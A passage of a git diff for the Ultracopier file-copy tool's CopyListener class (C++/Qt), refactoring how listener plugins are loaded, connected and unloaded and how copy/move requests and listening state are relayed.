- connect(listen,SIGNAL(newMove(quint32,QStringList,QString)), this,SLOT(newPluginMove(quint32,QStringList,QString)));
- PluginListener newPluginListener;
- newPluginListener.listenInterface = listen;
- newPluginListener.pluginLoader = pluginOfPluginLoader;
- newPluginListener.path = plugin.path+PluginsManager::getResolvedPluginName("listener");
- newPluginListener.state = NotListening;
- newPluginListener.inWaitOfReply = false;
- newPluginListener.options=new LocalPluginOptions("Listener-"+plugin.name);
- newPluginListener.listenInterface->setResources(newPluginListener.options,plugin.writablePath,plugin.path,ULTRACOPIER_VERSION_PORTABLE_BOOL);
- optionDialog->addPluginOptionWidget(PluginType_Listener,plugin.name,newPluginListener.listenInterface->options());
- connect(languages,SIGNAL(newLanguageLoaded(QString)),newPluginListener.listenInterface,SLOT(newLanguageLoaded()));
- pluginList << newPluginListener;
- connect(pluginList.last().listenInterface,SIGNAL(newState(ListeningState)),this,SLOT(newState(ListeningState)));
- if(tryListen)
- {
- pluginList.last().inWaitOfReply=true;
- listen->listen();
- }
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to cast the plugin: "+pluginOfPluginLoader->errorString());
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"unable to load the plugin: "+pluginOfPluginLoader->errorString());
+ if(plugin.category!=PluginType_Listener)
+ return;
+ PluginListener newPluginListener;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("try load: ")+plugin.path+PluginsManager::getResolvedPluginName("listener"));
+ //setFileName
+ #ifdef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ PluginInterface_Listener *listen;
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ QObjectList objectList=QPluginLoader::staticInstances();
+ int index=0;
+ QObject *pluginObject;
+ while(index<objectList.size())
+ {
+ pluginObject=objectList.at(index);
+ listen = qobject_cast<PluginInterface_Listener *>(pluginObject);
+ if(listen!=NULL)
+ break;
+ index++;
+ }
+ if(index==objectList.size())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("static listener not found"));
+ return;
+ }
+ #else
+ listen=new Listener();
+ #endif
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
+ newPluginListener.pluginLoader=NULL;
+ #endif
+ #else
+ QPluginLoader *pluginOfPluginLoader=new QPluginLoader(plugin.path+PluginsManager::getResolvedPluginName(QStringLiteral("listener")));
+ QObject *pluginInstance = pluginOfPluginLoader->instance();
+ if(!pluginInstance)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to load the plugin: ")+pluginOfPluginLoader->errorString());
+ return;
+ }
+ PluginInterface_Listener *listen = qobject_cast<PluginInterface_Listener *>(pluginInstance);
+ if(!listen)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("unable to load the plugin: ")+pluginOfPluginLoader->errorString());
+ return;
+ }
+ //check if found
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(pluginList.at(index).listenInterface==listen)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,QStringLiteral("Plugin already found %1 for %2").arg(pluginList.at(index).path).arg(plugin.path));
+ pluginOfPluginLoader->unload();
+ return;
+ }
+ index++;
+ }
+ newPluginListener.pluginLoader = pluginOfPluginLoader;
+ #endif
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Plugin correctly loaded"));
+ #ifdef ULTRACOPIER_DEBUG
+ connect(listen,&PluginInterface_Listener::debugInformation,this,&CopyListener::debugInformation,Qt::DirectConnection);
+ #endif // ULTRACOPIER_DEBUG
+ connect(listen,&PluginInterface_Listener::error, this,&CopyListener::error,Qt::DirectConnection);
+ connect(listen,&PluginInterface_Listener::newCopyWithoutDestination, this,&CopyListener::newPluginCopyWithoutDestination,Qt::DirectConnection);
+ connect(listen,&PluginInterface_Listener::newCopy, this,&CopyListener::newPluginCopy,Qt::DirectConnection);
+ connect(listen,&PluginInterface_Listener::newMoveWithoutDestination, this,&CopyListener::newPluginMoveWithoutDestination,Qt::DirectConnection);
+ connect(listen,&PluginInterface_Listener::newMove, this,&CopyListener::newPluginMove,Qt::DirectConnection);
+ connect(listen,&PluginInterface_Listener::newClientList, this,&CopyListener::reloadClientList,Qt::DirectConnection);
+ newPluginListener.listenInterface = listen;
+
+ newPluginListener.path = plugin.path+PluginsManager::getResolvedPluginName(QStringLiteral("listener"));
+ newPluginListener.state = Ultracopier::NotListening;
+ newPluginListener.inWaitOfReply = false;
+ newPluginListener.options=new LocalPluginOptions(QStringLiteral("Listener-")+plugin.name);
+ newPluginListener.listenInterface->setResources(newPluginListener.options,plugin.writablePath,plugin.path,ULTRACOPIER_VERSION_PORTABLE_BOOL);
+ optionDialog->addPluginOptionWidget(PluginType_Listener,plugin.name,newPluginListener.listenInterface->options());
+ connect(LanguagesManager::languagesManager,&LanguagesManager::newLanguageLoaded,newPluginListener.listenInterface,&PluginInterface_Listener::newLanguageLoaded,Qt::DirectConnection);
+ pluginList << newPluginListener;
+ connect(pluginList.last().listenInterface,&PluginInterface_Listener::newState,this,&CopyListener::newState,Qt::DirectConnection);
+ if(tryListen)
+ {
+ pluginList.last().inWaitOfReply=true;
+ listen->listen();
+ }
}
#ifdef ULTRACOPIER_DEBUG
-void CopyListener::debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne)
+void CopyListener::debugInformation(const Ultracopier::DebugLevel &level, const QString& fonction, const QString& text, const QString& file, const int& ligne)
{
- DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,"Listener plugin");
+ DebugEngine::addDebugInformationStatic(level,fonction,text,file,ligne,QStringLiteral("Listener plugin"));
}
#endif // ULTRACOPIER_DEBUG
+void CopyListener::error(const QString &error)
+{
+ QMessageBox::critical(NULL,tr("Error"),tr("Error during the reception of the copy/move list\n%1").arg(error));
+}
+
bool CopyListener::oneListenerIsLoaded()
{
- return (pluginList.size()>0);
+ return (pluginList.size()>0);
}
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
void CopyListener::onePluginWillBeRemoved(const PluginsAvailable &plugin)
{
- if(plugin.category!=PluginType_Listener)
- return;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"unload the current plugin");
- int indexPlugin=0;
- while(indexPlugin<pluginList.size())
- {
- if((plugin.path+PluginsManager::getResolvedPluginName("listener"))==pluginList.at(indexPlugin).path)
- {
- int index=0;
- while(index<copyRunningList.size())
- {
- if(copyRunningList.at(index).listenInterface==pluginList.at(indexPlugin).listenInterface)
- copyRunningList[index].listenInterface=NULL;
- index++;
- }
- pluginList.at(indexPlugin).listenInterface->close();
- disconnect(pluginList.at(indexPlugin).listenInterface);
- pluginList.at(indexPlugin).pluginLoader->unload();
- delete pluginList.at(indexPlugin).options;
- pluginList.removeAt(indexPlugin);
- sendState();
- return;
- }
- indexPlugin++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Warning,"not found");
+ if(plugin.category!=PluginType_Listener)
+ return;
+ int indexPlugin=0;
+ while(indexPlugin<pluginList.size())
+ {
+ if((plugin.path+PluginsManager::getResolvedPluginName(QStringLiteral("listener")))==pluginList.at(indexPlugin).path)
+ {
+ int index=0;
+ while(index<copyRunningList.size())
+ {
+ if(copyRunningList.at(index).listenInterface==pluginList.at(indexPlugin).listenInterface)
+ copyRunningList[index].listenInterface=NULL;
+ index++;
+ }
+ if(pluginList.at(indexPlugin).listenInterface!=NULL)
+ {
+ pluginList.at(indexPlugin).listenInterface->close();
+ delete pluginList.at(indexPlugin).listenInterface;
+ }
+ if(pluginList.at(indexPlugin).pluginLoader!=NULL)
+ {
+ pluginList.at(indexPlugin).pluginLoader->unload();
+ delete pluginList.at(indexPlugin).options;
+ }
+ pluginList.removeAt(indexPlugin);
+ sendState();
+ return;
+ }
+ indexPlugin++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Warning,"not found");
}
+#endif
-void CopyListener::newState(const ListeningState &state)
+void CopyListener::newState(const Ultracopier::ListeningState &state)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- PluginInterface_Listener *temp=qobject_cast<PluginInterface_Listener *>(QObject::sender());
- if(temp==NULL)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("listener not located!"));
- return;
- }
- int index=0;
- while(index<pluginList.size())
- {
- if(temp==pluginList.at(index).listenInterface)
- {
- pluginList[index].state=state;
- pluginList[index].inWaitOfReply=false;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("new state for the plugin %1: %2").arg(index).arg(state));
- sendState(true);
- return;
- }
- index++;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,QString("listener not found!"));
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ PluginInterface_Listener *temp=qobject_cast<PluginInterface_Listener *>(QObject::sender());
+ if(temp==NULL)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("listener not located!"));
+ return;
+ }
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(temp==pluginList.at(index).listenInterface)
+ {
+ pluginList[index].state=state;
+ pluginList[index].inWaitOfReply=false;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("new state for the plugin %1: %2").arg(index).arg(state));
+ sendState(true);
+ return;
+ }
+ index++;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,QStringLiteral("listener not found!"));
}
void CopyListener::listen()
{
- tryListen=true;
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<pluginList.size())
- {
- pluginList[index].inWaitOfReply=true;
- pluginList.at(index).listenInterface->listen();
- index++;
- }
- pluginLoader->load();
+ tryListen=true;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<pluginList.size())
+ {
+ pluginList[index].inWaitOfReply=true;
+ pluginList.at(index).listenInterface->listen();
+ index++;
+ }
+ if(pluginLoader!=NULL)
+ pluginLoader->load();
}
void CopyListener::close()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- tryListen=false;
- pluginLoader->unload();
- int index=0;
- while(index<pluginList.size())
- {
- pluginList[index].inWaitOfReply=true;
- pluginList.at(index).listenInterface->close();
- index++;
- }
- copyRunningList.clear();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ tryListen=false;
+ if(pluginLoader!=NULL)
+ pluginLoader->unload();
+ int index=0;
+ while(index<pluginList.size())
+ {
+ pluginList[index].inWaitOfReply=true;
+ pluginList.at(index).listenInterface->close();
+ index++;
+ }
+ copyRunningList.clear();
}
QStringList CopyListener::stripSeparator(QStringList sources)
{
- int index=0;
- while(index<sources.size())
- {
- sources[index].remove(QRegExp("[\\\\/]+$"));
- index++;
- }
- return sources;
+ int index=0;
+ while(index<sources.size())
+ {
+ sources[index].remove(stripSeparatorRegex);
+ index++;
+ }
+ return sources;
}
/** new copy without destination have been pased by the CLI */
-void CopyListener::newCopy(QStringList sources)
+void CopyListener::copyWithoutDestination(QStringList sources)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit newCopy(incrementOrderId(),QStringList() << "file",stripSeparator(sources));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit newCopyWithoutDestination(incrementOrderId(),QStringList() << QStringLiteral("file"),stripSeparator(sources));
}
/** new copy with destination have been pased by the CLI */
-void CopyListener::newCopy(QStringList sources,QString destination)
+void CopyListener::copy(QStringList sources,QString destination)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit newCopy(incrementOrderId(),QStringList() << "file",stripSeparator(sources),"file",destination);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit newCopy(incrementOrderId(),QStringList() << QStringLiteral("file"),stripSeparator(sources),QStringLiteral("file"),destination);
}
/** new move without destination have been pased by the CLI */
-void CopyListener::newMove(QStringList sources)
+void CopyListener::moveWithoutDestination(QStringList sources)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit newMove(incrementOrderId(),QStringList() << "file",stripSeparator(sources));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit newMoveWithoutDestination(incrementOrderId(),QStringList() << QStringLiteral("file"),stripSeparator(sources));
}
/** new move with destination have been pased by the CLI */
-void CopyListener::newMove(QStringList sources,QString destination)
+void CopyListener::move(QStringList sources,QString destination)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- emit newMove(incrementOrderId(),QStringList() << "file",stripSeparator(sources),"file",destination);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ emit newMove(incrementOrderId(),QStringList() << QStringLiteral("file"),stripSeparator(sources),QStringLiteral("file"),destination);
}
void CopyListener::copyFinished(const quint32 & orderId,const bool &withError)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<copyRunningList.size())
- {
- if(orderId==copyRunningList.at(index).orderId)
- {
- orderList.removeAll(orderId);
- if(copyRunningList.at(index).listenInterface!=NULL)
- copyRunningList.at(index).listenInterface->transferFinished(copyRunningList.at(index).pluginOrderId,withError);
- copyRunningList.removeAt(index);
- return;
- }
- index++;
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<copyRunningList.size())
+ {
+ if(orderId==copyRunningList.at(index).orderId)
+ {
+ orderList.removeAll(orderId);
+ if(copyRunningList.at(index).listenInterface!=NULL)
+ copyRunningList.at(index).listenInterface->transferFinished(copyRunningList.at(index).pluginOrderId,withError);
+ copyRunningList.removeAt(index);
+ return;
+ }
+ index++;
+ }
}
void CopyListener::copyCanceled(const quint32 & orderId)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- int index=0;
- while(index<copyRunningList.size())
- {
- if(orderId==copyRunningList.at(index).orderId)
- {
- orderList.removeAll(orderId);
- if(copyRunningList.at(index).listenInterface!=NULL)
- copyRunningList.at(index).listenInterface->transferCanceled(copyRunningList.at(index).pluginOrderId);
- copyRunningList.removeAt(index);
- return;
- }
- index++;
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ int index=0;
+ while(index<copyRunningList.size())
+ {
+ if(orderId==copyRunningList.at(index).orderId)
+ {
+ orderList.removeAll(orderId);
+ if(copyRunningList.at(index).listenInterface!=NULL)
+ copyRunningList.at(index).listenInterface->transferCanceled(copyRunningList.at(index).pluginOrderId);
+ copyRunningList.removeAt(index);
+ return;
+ }
+ index++;
+ }
}
-void CopyListener::newPluginCopy(const quint32 &orderId,const QStringList &sources)
+void CopyListener::newPluginCopyWithoutDestination(const quint32 &orderId,const QStringList &sources)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"sources: "+sources.join(";"));
- PluginInterface_Listener *plugin = qobject_cast<PluginInterface_Listener *>(sender());
- CopyRunning newCopyInformation;
- newCopyInformation.listenInterface = plugin;
- newCopyInformation.pluginOrderId = orderId;
- newCopyInformation.orderId = incrementOrderId();
- copyRunningList << newCopyInformation;
- emit newCopy(orderId,QStringList() << "file",stripSeparator(sources));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("sources: ")+sources.join(QStringLiteral(";")));
+ PluginInterface_Listener *plugin = qobject_cast<PluginInterface_Listener *>(sender());
+ CopyRunning newCopyInformation;
+ newCopyInformation.listenInterface = plugin;
+ newCopyInformation.pluginOrderId = orderId;
+ newCopyInformation.orderId = incrementOrderId();
+ copyRunningList << newCopyInformation;
+ emit newCopyWithoutDestination(orderId,QStringList() << QStringLiteral("file"),stripSeparator(sources));
}
void CopyListener::newPluginCopy(const quint32 &orderId,const QStringList &sources,const QString &destination)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"sources: "+sources.join(";")+", destination: "+destination);
- PluginInterface_Listener *plugin = qobject_cast<PluginInterface_Listener *>(sender());
- CopyRunning newCopyInformation;
- newCopyInformation.listenInterface = plugin;
- newCopyInformation.pluginOrderId = orderId;
- newCopyInformation.orderId = incrementOrderId();
- copyRunningList << newCopyInformation;
- emit newCopy(orderId,QStringList() << "file",stripSeparator(sources),"file",destination);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("sources: ")+sources.join(QStringLiteral(";"))+QStringLiteral(", destination: ")+destination);
+ PluginInterface_Listener *plugin = qobject_cast<PluginInterface_Listener *>(sender());
+ CopyRunning newCopyInformation;
+ newCopyInformation.listenInterface = plugin;
+ newCopyInformation.pluginOrderId = orderId;
+ newCopyInformation.orderId = incrementOrderId();
+ copyRunningList << newCopyInformation;
+ emit newCopy(orderId,QStringList() << QStringLiteral("file"),stripSeparator(sources),QStringLiteral("file"),destination);
}
-void CopyListener::newPluginMove(const quint32 &orderId,const QStringList &sources)
+void CopyListener::newPluginMoveWithoutDestination(const quint32 &orderId,const QStringList &sources)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"sources: "+sources.join(";"));
- PluginInterface_Listener *plugin = qobject_cast<PluginInterface_Listener *>(sender());
- CopyRunning newCopyInformation;
- newCopyInformation.listenInterface = plugin;
- newCopyInformation.pluginOrderId = orderId;
- newCopyInformation.orderId = incrementOrderId();
- copyRunningList << newCopyInformation;
- emit newMove(orderId,QStringList() << "file",stripSeparator(sources));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("sources: ")+sources.join(QStringLiteral(";")));
+ PluginInterface_Listener *plugin = qobject_cast<PluginInterface_Listener *>(sender());
+ CopyRunning newCopyInformation;
+ newCopyInformation.listenInterface = plugin;
+ newCopyInformation.pluginOrderId = orderId;
+ newCopyInformation.orderId = incrementOrderId();
+ copyRunningList << newCopyInformation;
+ emit newMoveWithoutDestination(orderId,QStringList() << QStringLiteral("file"),stripSeparator(sources));
}
void CopyListener::newPluginMove(const quint32 &orderId,const QStringList &sources,const QString &destination)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"sources: "+sources.join(";")+", destination: "+destination);
- PluginInterface_Listener *plugin = qobject_cast<PluginInterface_Listener *>(sender());
- CopyRunning newCopyInformation;
- newCopyInformation.listenInterface = plugin;
- newCopyInformation.pluginOrderId = orderId;
- newCopyInformation.orderId = incrementOrderId();
- copyRunningList << newCopyInformation;
- emit newMove(orderId,QStringList() << "file",stripSeparator(sources),"file",destination);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("sources: ")+sources.join(";")+QStringLiteral(", destination: ")+destination);
+ PluginInterface_Listener *plugin = qobject_cast<PluginInterface_Listener *>(sender());
+ CopyRunning newCopyInformation;
+ newCopyInformation.listenInterface = plugin;
+ newCopyInformation.pluginOrderId = orderId;
+ newCopyInformation.orderId = incrementOrderId();
+ copyRunningList << newCopyInformation;
+ emit newMove(orderId,QStringList() << QStringLiteral("file"),stripSeparator(sources),QStringLiteral("file"),destination);
}
quint32 CopyListener::incrementOrderId()
{
- do
- {
- nextOrderId++;
- if(nextOrderId>2000000)
- nextOrderId=0;
- } while(orderList.contains(nextOrderId));
- return nextOrderId;
+ do
+ {
+ nextOrderId++;
+ if(nextOrderId>2000000)
+ nextOrderId=0;
+ } while(orderList.contains(nextOrderId));
+ return nextOrderId;
}
void CopyListener::allPluginIsloaded()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"with value: "+QString::number(pluginList.size()>0));
- sendState(true);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("with value: ")+QString::number(pluginList.size()>0));
+ sendState(true);
+ reloadClientList();
+}
+
+void CopyListener::reloadClientList()
+{
+ if(!PluginsManager::pluginsManager->allPluginHaveBeenLoaded())
+ return;
+ QStringList clients;
+ int indexPlugin=0;
+ while(indexPlugin<pluginList.size())
+ {
+ if(pluginList.at(indexPlugin).listenInterface!=NULL)
+ {
+ clients << pluginList.at(indexPlugin).listenInterface->clientsList();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("ask client to: ")+pluginList.at(indexPlugin).path);
+ }
+ indexPlugin++;
+ }
+ emit newClientList(clients);
}
void CopyListener::sendState(bool force)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("start, pluginList.size(): %1, force: %2").arg(pluginList.size()).arg(force));
- ListeningState current_state=NotListening;
- bool found_not_listen=false,found_listen=false,found_inWaitOfReply=false;
- int index=0;
- while(index<pluginList.size())
- {
- if(current_state==NotListening)
- {
- if(pluginList.at(index).state==SemiListening)
- current_state=SemiListening;
- else if(pluginList.at(index).state==NotListening)
- found_not_listen=true;
- else if(pluginList.at(index).state==FullListening)
- found_listen=true;
- }
- if(pluginList.at(index).inWaitOfReply)
- found_inWaitOfReply=true;
- index++;
- }
- if(current_state==NotListening)
- {
- if(found_not_listen && found_listen)
- current_state=SemiListening;
- else if(found_not_listen)
- current_state=NotListening;
- else if(FullListening)
- current_state=FullListening;
- else
- current_state=SemiListening;
- }
- bool have_plugin=pluginList.size()>0;
- if(force || current_state!=last_state || have_plugin!=last_have_plugin || found_inWaitOfReply!=last_inWaitOfReply)
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("send listenerReady(%1,%2,%3)").arg(current_state).arg(have_plugin).arg(found_inWaitOfReply));
- emit listenerReady(current_state,have_plugin,found_inWaitOfReply);
- }
- else
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("Skip the signal sending"));
- last_state=current_state;
- last_have_plugin=have_plugin;
- last_inWaitOfReply=found_inWaitOfReply;
+ if(stopIt)
+ return;
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, pluginList.size(): %1, force: %2").arg(pluginList.size()).arg(force));
+ Ultracopier::ListeningState current_state=Ultracopier::NotListening;
+ bool found_not_listen=false,found_listen=false,found_inWaitOfReply=false;
+ int index=0;
+ while(index<pluginList.size())
+ {
+ if(current_state==Ultracopier::NotListening)
+ {
+ if(pluginList.at(index).state==Ultracopier::SemiListening)
+ current_state=Ultracopier::SemiListening;
+ else if(pluginList.at(index).state==Ultracopier::NotListening)
+ found_not_listen=true;
+ else if(pluginList.at(index).state==Ultracopier::FullListening)
+ found_listen=true;
+ }
+ if(pluginList.at(index).inWaitOfReply)
+ found_inWaitOfReply=true;
+ index++;
+ }
+ if(current_state==Ultracopier::NotListening)
+ {
+ if(found_not_listen && found_listen)
+ current_state=Ultracopier::SemiListening;
+ else if(found_not_listen)
+ current_state=Ultracopier::NotListening;
+ else if(!found_not_listen && found_listen)
+ current_state=Ultracopier::FullListening;
+ else
+ current_state=Ultracopier::SemiListening;
+ }
+ bool have_plugin=pluginList.size()>0;
+ if(force || current_state!=last_state || have_plugin!=last_have_plugin || found_inWaitOfReply!=last_inWaitOfReply)
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("send listenerReady(%1,%2,%3)").arg(current_state).arg(have_plugin).arg(found_inWaitOfReply));
+ emit listenerReady(current_state,have_plugin,found_inWaitOfReply);
+ }
+ else
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("Skip the signal sending"));
+ last_state=current_state;
+ last_have_plugin=have_plugin;
+ last_inWaitOfReply=found_inWaitOfReply;
}
diff --git a/CopyListener.h b/CopyListener.h
index 198ce9f..447ecb8 100755..100644
--- a/CopyListener.h
+++ b/CopyListener.h
@@ -1,115 +1,123 @@
/** \file CopyListener.h
\brief Define the class to load the plugin and lunch it
\author alpha_one_x86
-\version 0.3
-\date 2010
-\licence GPL3, see the file COPYING */
+\licence GPL3, see the file COPYING */
#ifndef COPYLISTENER_H
#define COPYLISTENER_H
#include <QObject>
#include <QList>
+#ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE_DIRECT
#include <QPluginLoader>
+#endif
#include "interface/PluginInterface_Listener.h"
#include "Environment.h"
-#include "GlobalClass.h"
#include "PluginLoader.h"
#include "OptionDialog.h"
/** \brief to load all the listener and parse all event */
-class CopyListener : public QObject, public GlobalClass
+class CopyListener : public QObject
{
- Q_OBJECT
- public:
- explicit CopyListener(OptionDialog *optionDialog);
- ~CopyListener();
- /** \brief send of one listener is loaded */
- bool oneListenerIsLoaded();
- /** \brief to resend the state */
- void resendState();
- private slots:
- //void newPlugin();
- void newPluginCopy(const quint32 &orderId,const QStringList &sources);
- void newPluginCopy(const quint32 &orderId,const QStringList &sources,const QString &destination);
- void newPluginMove(const quint32 &orderId,const QStringList &sources);
- void newPluginMove(const quint32 &orderId,const QStringList &sources,const QString &destination);
- void onePluginAdded(const PluginsAvailable &plugin);
- void onePluginWillBeRemoved(const PluginsAvailable &plugin);
- void newState(const ListeningState &state);
- #ifdef ULTRACOPIER_DEBUG
- void debugInformation(DebugLevel level,const QString& fonction,const QString& text,const QString& file,const int& ligne);
- #endif // ULTRACOPIER_DEBUG
- void allPluginIsloaded();
- public slots:
- /** \brief the copy is finished
- \param orderId id used when it have send the copy
- \param withError true if it have found error
- \see newCopy()
- \see newMove()
- */
- void copyFinished(const quint32 & orderId,const bool &withError);
- /** \brief the copy is canceled by the user
- \param orderId id used when it have send the copy
- \see newCopy()
- \see newMove()
- */
- void copyCanceled(const quint32 & orderId);
- /** \brief try listen, to get copy/move from external source (mainly the file manager)
- \see close()
- */
- void listen();
- /** \brief stop listen, to get copy/move from external source (mainly the file manager)
- \see listen()
- */
- void close();
- /** new copy without destination have been pased by the CLI */
- void newCopy(QStringList sources);
- /** new copy with destination have been pased by the CLI */
- void newCopy(QStringList sources,QString destination);
- /** new move without destination have been pased by the CLI */
- void newMove(QStringList sources);
- /** new move with destination have been pased by the CLI */
- void newMove(QStringList sources,QString destination);
- signals:
- void newCopy(quint32 orderId,QStringList protocolsUsedForTheSources,QStringList sources);
- void newCopy(quint32 orderId,QStringList protocolsUsedForTheSources,QStringList sources,QString protocolsUsedForTheDestination,QString destination);
- void newMove(quint32 orderId,QStringList protocolsUsedForTheSources,QStringList sources);
- void newMove(quint32 orderId,QStringList protocolsUsedForTheSources,QStringList sources,QString protocolsUsedForTheDestination,QString destination);
- void listenerReady(ListeningState state,bool havePlugin,bool someAreInWaitOfReply);
- void pluginLoaderReady(CatchState state,bool havePlugin,bool someAreInWaitOfReply);
- void previouslyPluginAdded(PluginsAvailable);
- private:
- struct PluginListener
- {
- PluginInterface_Listener *listenInterface;
- QPluginLoader *pluginLoader;
- QString path;
- ListeningState state;
- bool inWaitOfReply;
- LocalPluginOptions *options;
- };
- QList<PluginListener> pluginList;
- //for the options
- quint32 nextOrderId;
- QList<quint32> orderList;
- //for the copy as suspend
- struct CopyRunning
- {
- PluginInterface_Listener *listenInterface;
- quint32 pluginOrderId;
- quint32 orderId;
- };
- QList<CopyRunning> copyRunningList;
- quint32 incrementOrderId();
- bool tryListen;
- PluginLoader *pluginLoader;
- ListeningState last_state;
- bool last_have_plugin,last_inWaitOfReply;
- void sendState(bool force=false);
- QStringList stripSeparator(QStringList sources);
- OptionDialog *optionDialog;
+ Q_OBJECT
+ public:
+ explicit CopyListener(OptionDialog *optionDialog);
+ ~CopyListener();
+ /** \brief send of one listener is loaded */
+ bool oneListenerIsLoaded();
+ /** \brief to resend the state */
+ void resendState();
+ private slots:
+ //void newPlugin();
+ void newPluginCopyWithoutDestination(const quint32 &orderId,const QStringList &sources);
+ void newPluginCopy(const quint32 &orderId,const QStringList &sources,const QString &destination);
+ void newPluginMoveWithoutDestination(const quint32 &orderId,const QStringList &sources);
+ void newPluginMove(const quint32 &orderId,const QStringList &sources,const QString &destination);
+ void onePluginAdded(const PluginsAvailable &plugin);
+ #ifndef ULTRACOPIER_PLUGIN_ALL_IN_ONE
+ void onePluginWillBeRemoved(const PluginsAvailable &plugin);
+ #endif
+ void newState(const Ultracopier::ListeningState &state);
+ #ifdef ULTRACOPIER_DEBUG
+ void debugInformation(const Ultracopier::DebugLevel &level,const QString& fonction,const QString& text,const QString& file,const int& ligne);
+ #endif // ULTRACOPIER_DEBUG
+ void error(const QString &error);
+ void allPluginIsloaded();
+ void reloadClientList();
+ public slots:
+ /** \brief the copy is finished
+ \param orderId id used when it have send the copy
+ \param withError true if it have found error
+ \see newCopy()
+ \see newMove()
+ */
+ void copyFinished(const quint32 & orderId,const bool &withError);
+ /** \brief the copy is canceled by the user
+ \param orderId id used when it have send the copy
+ \see newCopy()
+ \see newMove()
+ */
+ void copyCanceled(const quint32 & orderId);
+ /** \brief try listen, to get copy/move from external source (mainly the file manager)
+ \see close()
+ */
+ void listen();
+ /** \brief stop listen, to get copy/move from external source (mainly the file manager)
+ \see listen()
+ */
+ void close();
+ /** new copy without destination have been pased by the CLI */
